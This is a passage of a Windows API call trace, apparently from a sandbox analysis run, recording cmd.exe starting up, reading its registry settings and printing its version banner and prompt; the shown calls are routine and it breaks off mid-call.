lpProcName="SetThreadUILanguage") returned 0x77956d40 [0067.393] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0067.394] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0067.394] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x14fe88 | out: phkResult=0x14fe88*=0x0) returned 0x2 [0067.395] VirtualQuery (in: lpAddress=0x14fe70, lpBuffer=0x14fdf0, dwLength=0x30 | out: lpBuffer=0x14fdf0*(BaseAddress=0x14f000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0067.395] VirtualQuery (in: lpAddress=0x50000, lpBuffer=0x14fdf0, dwLength=0x30 | out: lpBuffer=0x14fdf0*(BaseAddress=0x50000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0067.395] VirtualQuery (in: lpAddress=0x51000, lpBuffer=0x14fdf0, dwLength=0x30 | out: lpBuffer=0x14fdf0*(BaseAddress=0x51000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0067.395] VirtualQuery (in: lpAddress=0x54000, lpBuffer=0x14fdf0, dwLength=0x30 | out: lpBuffer=0x14fdf0*(BaseAddress=0x54000, AllocationBase=0x50000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0067.395] VirtualQuery (in: lpAddress=0x150000, lpBuffer=0x14fdf0, dwLength=0x30 | out: lpBuffer=0x14fdf0*(BaseAddress=0x150000, AllocationBase=0x150000, AllocationProtect=0x2, __alignment1=0x0, RegionSize=0x67000, State=0x1000, Protect=0x2, Type=0x40000, __alignment2=0x0)) returned 0x30 [0067.395] GetConsoleOutputCP () returned 0x1b5 [0067.395] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aacbfe0 | out: lpCPInfo=0x4aacbfe0) returned 1 [0067.397] SetConsoleCtrlHandler (HandlerRoutine=0x4aab3184, Add=1) returned 1 [0067.397] _get_osfhandle (_FileHandle=1) returned 0xf4 [0067.397] SetConsoleMode (hConsoleHandle=0xf4, dwMode=0x0) returned 0 [0067.398] _get_osfhandle (_FileHandle=1) returned 0xf4 [0067.398] GetConsoleMode (in: hConsoleHandle=0xf4, lpMode=0x4aabe194 | out: lpMode=0x4aabe194) returned 0 [0067.398] _get_osfhandle (_FileHandle=0) returned 0xe8 [0067.398] GetConsoleMode (in: hConsoleHandle=0xe8, lpMode=0x4aabe198 | out: lpMode=0x4aabe198) returned 0 [0067.398] GetEnvironmentStringsW () returned 0x258a60* [0067.399] GetProcessHeap () returned 0x240000 [0067.399] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xa7c) returned 0x2594f0 [0067.399] FreeEnvironmentStringsW (penv=0x258a60) returned 1 [0067.399] GetProcessHeap () returned 0x240000 [0067.399] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x8) returned 0x2588e0 [0067.399] GetEnvironmentStringsW () returned 0x258a60* [0067.399] GetProcessHeap () returned 0x240000 [0067.399] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xa7c) returned 0x259f80 [0067.399] FreeEnvironmentStringsW (penv=0x258a60) returned 1 [0067.400] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x14ed48 | out: phkResult=0x14ed48*=0x44) returned 0x0 [0067.400] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x14ed40, lpData=0x14ed60, lpcbData=0x14ed44*=0x1000 | out: lpType=0x14ed40*=0x0, lpData=0x14ed60*=0x18, lpcbData=0x14ed44*=0x1000) returned 0x2 [0067.400] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x14ed40, lpData=0x14ed60, lpcbData=0x14ed44*=0x1000 | out: lpType=0x14ed40*=0x4, lpData=0x14ed60*=0x1, lpcbData=0x14ed44*=0x4) returned 0x0 [0067.400] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x14ed40, lpData=0x14ed60, lpcbData=0x14ed44*=0x1000 | out: lpType=0x14ed40*=0x0, lpData=0x14ed60*=0x1, lpcbData=0x14ed44*=0x1000) returned 0x2 [0067.400] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x14ed40, lpData=0x14ed60, lpcbData=0x14ed44*=0x1000 | out: lpType=0x14ed40*=0x4, lpData=0x14ed60*=0x0, lpcbData=0x14ed44*=0x4) returned 0x0 [0067.400] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x14ed40, lpData=0x14ed60, lpcbData=0x14ed44*=0x1000 | out: lpType=0x14ed40*=0x4, lpData=0x14ed60*=0x40, lpcbData=0x14ed44*=0x4) returned 0x0 [0067.400] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x14ed40, lpData=0x14ed60, lpcbData=0x14ed44*=0x1000 | out: lpType=0x14ed40*=0x4, lpData=0x14ed60*=0x40, lpcbData=0x14ed44*=0x4) returned 0x0 [0067.401] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x14ed40, lpData=0x14ed60, lpcbData=0x14ed44*=0x1000 | out: lpType=0x14ed40*=0x0, lpData=0x14ed60*=0x40, lpcbData=0x14ed44*=0x1000) returned 0x2 [0067.401] RegCloseKey (hKey=0x44) returned 0x0 [0067.401] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x14ed48 | out: phkResult=0x14ed48*=0x44) returned 0x0 [0067.401] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x14ed40, lpData=0x14ed60, lpcbData=0x14ed44*=0x1000 | out: lpType=0x14ed40*=0x0, lpData=0x14ed60*=0x40, lpcbData=0x14ed44*=0x1000) returned 0x2 [0067.401] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x14ed40, lpData=0x14ed60, lpcbData=0x14ed44*=0x1000 | out: lpType=0x14ed40*=0x4, lpData=0x14ed60*=0x1, lpcbData=0x14ed44*=0x4) returned 0x0 [0067.401] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x14ed40, lpData=0x14ed60, lpcbData=0x14ed44*=0x1000 | out: lpType=0x14ed40*=0x0, lpData=0x14ed60*=0x1, lpcbData=0x14ed44*=0x1000) returned 0x2 [0067.401] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x14ed40, lpData=0x14ed60, lpcbData=0x14ed44*=0x1000 | out: lpType=0x14ed40*=0x4, lpData=0x14ed60*=0x0, lpcbData=0x14ed44*=0x4) returned 0x0 [0067.401] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x14ed40, lpData=0x14ed60, lpcbData=0x14ed44*=0x1000 | out: lpType=0x14ed40*=0x4, lpData=0x14ed60*=0x9, lpcbData=0x14ed44*=0x4) returned 0x0 [0067.401] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x14ed40, lpData=0x14ed60, lpcbData=0x14ed44*=0x1000 | out: lpType=0x14ed40*=0x4, lpData=0x14ed60*=0x9, lpcbData=0x14ed44*=0x4) returned 0x0 [0067.401] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x14ed40, lpData=0x14ed60, lpcbData=0x14ed44*=0x1000 | out: lpType=0x14ed40*=0x0, lpData=0x14ed60*=0x9, lpcbData=0x14ed44*=0x1000) returned 0x2 [0067.402] RegCloseKey (hKey=0x44) returned 0x0 [0067.402] time (in: timer=0x0 | out: timer=0x0) returned 0x5e6cec83 [0067.402] srand (_Seed=0x5e6cec83) [0067.402] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0067.402] GetCommandLineW () returned="\"C:\\Windows\\system32\\cmd.exe\"" [0067.402] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4aacc0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0067.403] GetProcessHeap () returned 0x240000 [0067.403] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x25aa10 [0067.403] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x25aa20, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0067.403] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4aabf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0067.403] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4aabf360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0067.403] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4aabf360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0067.404] _wcsicmp (_String1="PROMPT", _String2="CD") returned 13 [0067.404] _wcsicmp (_String1="PROMPT", _String2="ERRORLEVEL") returned 11 [0067.404] _wcsicmp (_String1="PROMPT", _String2="CMDEXTVERSION") returned 13 [0067.404] _wcsicmp (_String1="PROMPT", _String2="CMDCMDLINE") returned 13 [0067.404] _wcsicmp (_String1="PROMPT", _String2="DATE") returned 12 [0067.404] _wcsicmp (_String1="PROMPT", _String2="TIME") returned -4 [0067.404] _wcsicmp (_String1="PROMPT", _String2="RANDOM") returned -2 [0067.404] _wcsicmp (_String1="PROMPT", _String2="HIGHESTNUMANODENUMBER") returned 8 [0067.404] SetEnvironmentVariableW (lpName="PROMPT", lpValue="$P$G") returned 1 [0067.404] GetProcessHeap () returned 0x240000 [0067.404] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2594f0 | out: hHeap=0x240000) returned 1 [0067.404] GetEnvironmentStringsW () returned 0x258a60* [0067.404] GetProcessHeap () returned 0x240000 [0067.404] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xa94) returned 0x25ac30 [0067.405] FreeEnvironmentStringsW (penv=0x258a60) returned 1 [0067.405] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x4aabf360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0067.405] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x4aabf360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0067.405] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0067.405] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0067.405] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0067.405] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0067.405] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0067.405] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0067.405] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0067.405] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0067.406] GetProcessHeap () returned 0x240000 [0067.406] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x5c) returned 0x25b6d0 [0067.406] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x14fb50 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0067.406] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", nBufferLength=0x104, lpBuffer=0x14fb50, lpFilePart=0x14fb30 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x14fb30*="Desktop") returned 0x25 [0067.406] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0067.406] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x14f860 | out: lpFindFileData=0x14f860*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Users", cAlternateFileName="")) returned 0x25b740 [0067.407] FindClose (in: hFindFile=0x25b740 | out: hFindFile=0x25b740) returned 1 [0067.407] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz", lpFindFileData=0x14f860 | out: lpFindFileData=0x14f860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 0x25b740 [0067.408] FindClose (in: hFindFile=0x25b740 | out: hFindFile=0x25b740) returned 1 [0067.408] _wcsnicmp (_String1="5P5NRG~1", _String2="5p5NrGJn0jS HALPmcxz", _MaxCount=0x14) returned 20 [0067.408] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFindFileData=0x14f860 | out: lpFindFileData=0x14f860*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3f053e20, ftLastAccessTime.dwHighDateTime=0x1d5fa0e, ftLastWriteTime.dwLowDateTime=0x3f053e20, ftLastWriteTime.dwHighDateTime=0x1d5fa0e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x53000152, cFileName="Desktop", cAlternateFileName="")) returned 0x25b740 [0067.408] FindClose (in: hFindFile=0x25b740 | out: hFindFile=0x25b740) returned 1 [0067.408] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 0x11 [0067.408] SetCurrentDirectoryW (lpPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop")) returned 1 [0067.408] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 1 [0067.409] GetProcessHeap () returned 0x240000 [0067.409] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ac30 | out: hHeap=0x240000) returned 1 [0067.409] GetEnvironmentStringsW () returned 0x25b740* [0067.409] GetProcessHeap () returned 0x240000 [0067.409] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xae8) returned 0x25c230 [0067.409] FreeEnvironmentStringsW (penv=0x25b740) returned 1 [0067.409] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4aacc0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0067.409] GetProcessHeap () returned 0x240000 [0067.409] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25b6d0 | out: hHeap=0x240000) returned 1 [0067.409] GetProcessHeap () returned 0x240000 [0067.409] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x4016) returned 0x25cd20 [0067.410] GetProcessHeap () returned 0x240000 [0067.410] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25cd20 | out: hHeap=0x240000) returned 1 [0067.410] GetConsoleOutputCP () returned 0x1b5 [0067.411] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4aacbfe0 | out: lpCPInfo=0x4aacbfe0) returned 1 [0067.411] GetUserDefaultLCID () returned 0x409 [0067.412] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x4aac7b50, cchData=8 | out: lpLCData=":") returned 2 [0067.412] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0x14fc60, cchData=128 | out: lpLCData="0") returned 2 [0067.412] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0x14fc60, cchData=128 | out: lpLCData="0") returned 2 [0067.412] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0x14fc60, cchData=128 | out: lpLCData="1") returned 2 [0067.412] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x4aada740, cchData=8 | out: lpLCData="/") returned 2 [0067.412] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x4aada4a0, cchData=32 | out: lpLCData="Mon") returned 4 [0067.413] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x4aada460, cchData=32 | out: lpLCData="Tue") returned 4 [0067.413] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x4aada420, cchData=32 | out: lpLCData="Wed") returned 4 [0067.413] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x4aada3e0, cchData=32 | out: lpLCData="Thu") returned 4 [0067.413] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x4aada3a0, cchData=32 | out: lpLCData="Fri") returned 4 [0067.413] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x4aada360, cchData=32 | out: lpLCData="Sat") returned 4 [0067.413] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x4aada700, cchData=32 | out: lpLCData="Sun") returned 4 [0067.413] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x4aac7b40, cchData=8 | out: lpLCData=".") returned 2 [0067.413] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x4aada4e0, cchData=8 | out: lpLCData=",") returned 2 [0067.414] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0067.416] GetProcessHeap () returned 0x240000 [0067.416] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x0, Size=0x20c) returned 0x2595c0 [0067.416] GetConsoleTitleW (in: lpConsoleTitle=0x2595c0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0067.416] _get_osfhandle (_FileHandle=1) returned 0xf4 [0067.416] GetFileType (hFile=0xf4) returned 0x3 [0067.417] BrandingFormatString () returned 0x2597e0 [0067.429] GetVersion () returned 0x1db10106 [0067.429] _vsnwprintf (in: _Buffer=0x14fdd0, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x14fd68 | out: _Buffer="6.1.7601") returned 8 [0067.429] _get_osfhandle (_FileHandle=1) returned 0xf4 [0067.429] GetFileType (hFile=0xf4) returned 0x3 [0067.429] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4aad6340, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0067.430] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x4aad6340, nSize=0x2000, Arguments=0x14fd70 | out: lpBuffer="Microsoft Windows [Version 6.1.7601]") returned 0x24 [0067.430] _get_osfhandle (_FileHandle=1) returned 0xf4 [0067.430] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 6.1.7601]", cchWideChar=-1, lpMultiByteStr=0x4aacc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 6.1.7601]", lpUsedDefaultChar=0x0) returned 37 [0067.430] WriteFile (in: hFile=0xf4, lpBuffer=0x4aacc320*, nNumberOfBytesToWrite=0x24, lpNumberOfBytesWritten=0x14fcf8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesWritten=0x14fcf8*=0x24, lpOverlapped=0x0) returned 1 [0067.430] _vsnwprintf (in: _Buffer=0x4aad6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14fd98 | out: _Buffer="\r\n") returned 2 [0067.431] _get_osfhandle (_FileHandle=1) returned 0xf4 [0067.431] GetFileType (hFile=0xf4) returned 0x3 [0067.431] _get_osfhandle (_FileHandle=1) returned 0xf4 [0067.431] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4aacc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0067.431] WriteFile (in: hFile=0xf4, lpBuffer=0x4aacc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14fd68, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesWritten=0x14fd68*=0x2, lpOverlapped=0x0) returned 1 [0067.431] _vsnwprintf (in: _Buffer=0x4aad6340, _BufferCount=0x1fff, _Format="%s", _ArgList=0x14fd98 | out: _Buffer="Copyright (c) 2009 Microsoft Corporation. All rights reserved.") returned 63 [0067.431] _get_osfhandle (_FileHandle=1) returned 0xf4 [0067.431] GetFileType (hFile=0xf4) returned 0x3 [0067.431] _get_osfhandle (_FileHandle=1) returned 0xf4 [0067.431] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x4aacc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Copyright (c) 2009 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 64 [0067.431] WriteFile (in: hFile=0xf4, lpBuffer=0x4aacc320*, nNumberOfBytesToWrite=0x3f, lpNumberOfBytesWritten=0x14fd68, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesWritten=0x14fd68*=0x3f, lpOverlapped=0x0) returned 1 [0067.431] _vsnwprintf (in: _Buffer=0x4aad6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14fd98 | out: _Buffer="\r\n") returned 2 [0067.431] _get_osfhandle (_FileHandle=1) returned 0xf4 [0067.431] GetFileType (hFile=0xf4) returned 0x3 [0067.432] _get_osfhandle (_FileHandle=1) returned 0xf4 [0067.432] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4aacc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0067.432] WriteFile (in: hFile=0xf4, lpBuffer=0x4aacc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14fd68, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesWritten=0x14fd68*=0x2, lpOverlapped=0x0) returned 1 [0067.432] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77940000 [0067.432] GetProcAddress (hModule=0x77940000, lpProcName="CopyFileExW") returned 0x779523d0 [0067.433] GetProcAddress (hModule=0x77940000, lpProcName="IsDebuggerPresent") returned 0x77948290 [0067.433] GetProcAddress (hModule=0x77940000, lpProcName="SetConsoleInputExeNameW") returned 0x779517e0 [0067.433] _get_osfhandle (_FileHandle=0) returned 0xe8 [0067.433] GetFileType (hFile=0xe8) returned 0x3 [0067.433] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0067.433] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x14fbc0 | out: TokenHandle=0x14fbc0*=0x0) returned 0xc000007c [0067.433] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x14fbc0 | out: TokenHandle=0x14fbc0*=0x50) returned 0x0 [0067.433] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x12, TokenInformation=0x14fbd0, TokenInformationLength=0x4, ReturnLength=0x14fbd8 | out: TokenInformation=0x14fbd0, ReturnLength=0x14fbd8) returned 0x0 [0067.433] NtQueryInformationToken (in: TokenHandle=0x50, TokenInformationClass=0x1a, TokenInformation=0x14fbd8, TokenInformationLength=0x4, ReturnLength=0x14fbd0 | out: TokenInformation=0x14fbd8, ReturnLength=0x14fbd0) returned 0x0 [0067.434] NtClose (Handle=0x50) returned 0x0 [0067.434] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x14fba0, nSize=0x0, Arguments=0x14fba8 | out: lpBuffer="韠%") returned 0xf [0067.434] GetProcessHeap () returned 0x240000 [0067.434] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x218) returned 0x241ab0 [0067.434] GetConsoleTitleW (in: lpConsoleTitle=0x14fbf0, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0067.485] wcsstr (_Str="C:\\Windows\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0067.486] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0067.488] GetProcessHeap () returned 0x240000 [0067.488] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0067.488] LocalFree (hMem=0x2597e0) returned 0x0 [0067.488] GetProcessHeap () returned 0x240000 [0067.488] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa10 | out: hHeap=0x240000) returned 1 [0067.489] _vsnwprintf (in: _Buffer=0x4aad6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f8d8 | out: _Buffer="\r\n") returned 2 [0067.489] _get_osfhandle (_FileHandle=1) returned 0xf4 [0067.489] GetFileType (hFile=0xf4) returned 0x3 [0067.489] _get_osfhandle (_FileHandle=1) returned 0xf4 [0067.489] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4aacc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0067.489] WriteFile (in: hFile=0xf4, lpBuffer=0x4aacc320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f8a8, lpOverlapped=0x0 | out: lpBuffer=0x4aacc320*, lpNumberOfBytesWritten=0x14f8a8*=0x2, lpOverlapped=0x0) returned 1 [0067.490] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4aabf360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0067.490] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4aacc0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0067.490] _vsnwprintf (in: _Buffer=0x4aabeb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f8e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0067.490] _vsnwprintf (in: _Buffer=0x4aabebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f8e8 | out: _Buffer=">") returned 1 [0067.490] _get_osfhandle (_FileHandle=1) returned 0xf4 [0067.490] GetFileType (hFile=0xf4) returned 0x3 [0067.490] _get_osfhandle (_FileHandle=1) returned 0xf4 [0067.490] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4aacc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0067.490] WriteFile (in: hFile=0xf4, lpBuffer=0x4aacc320*, 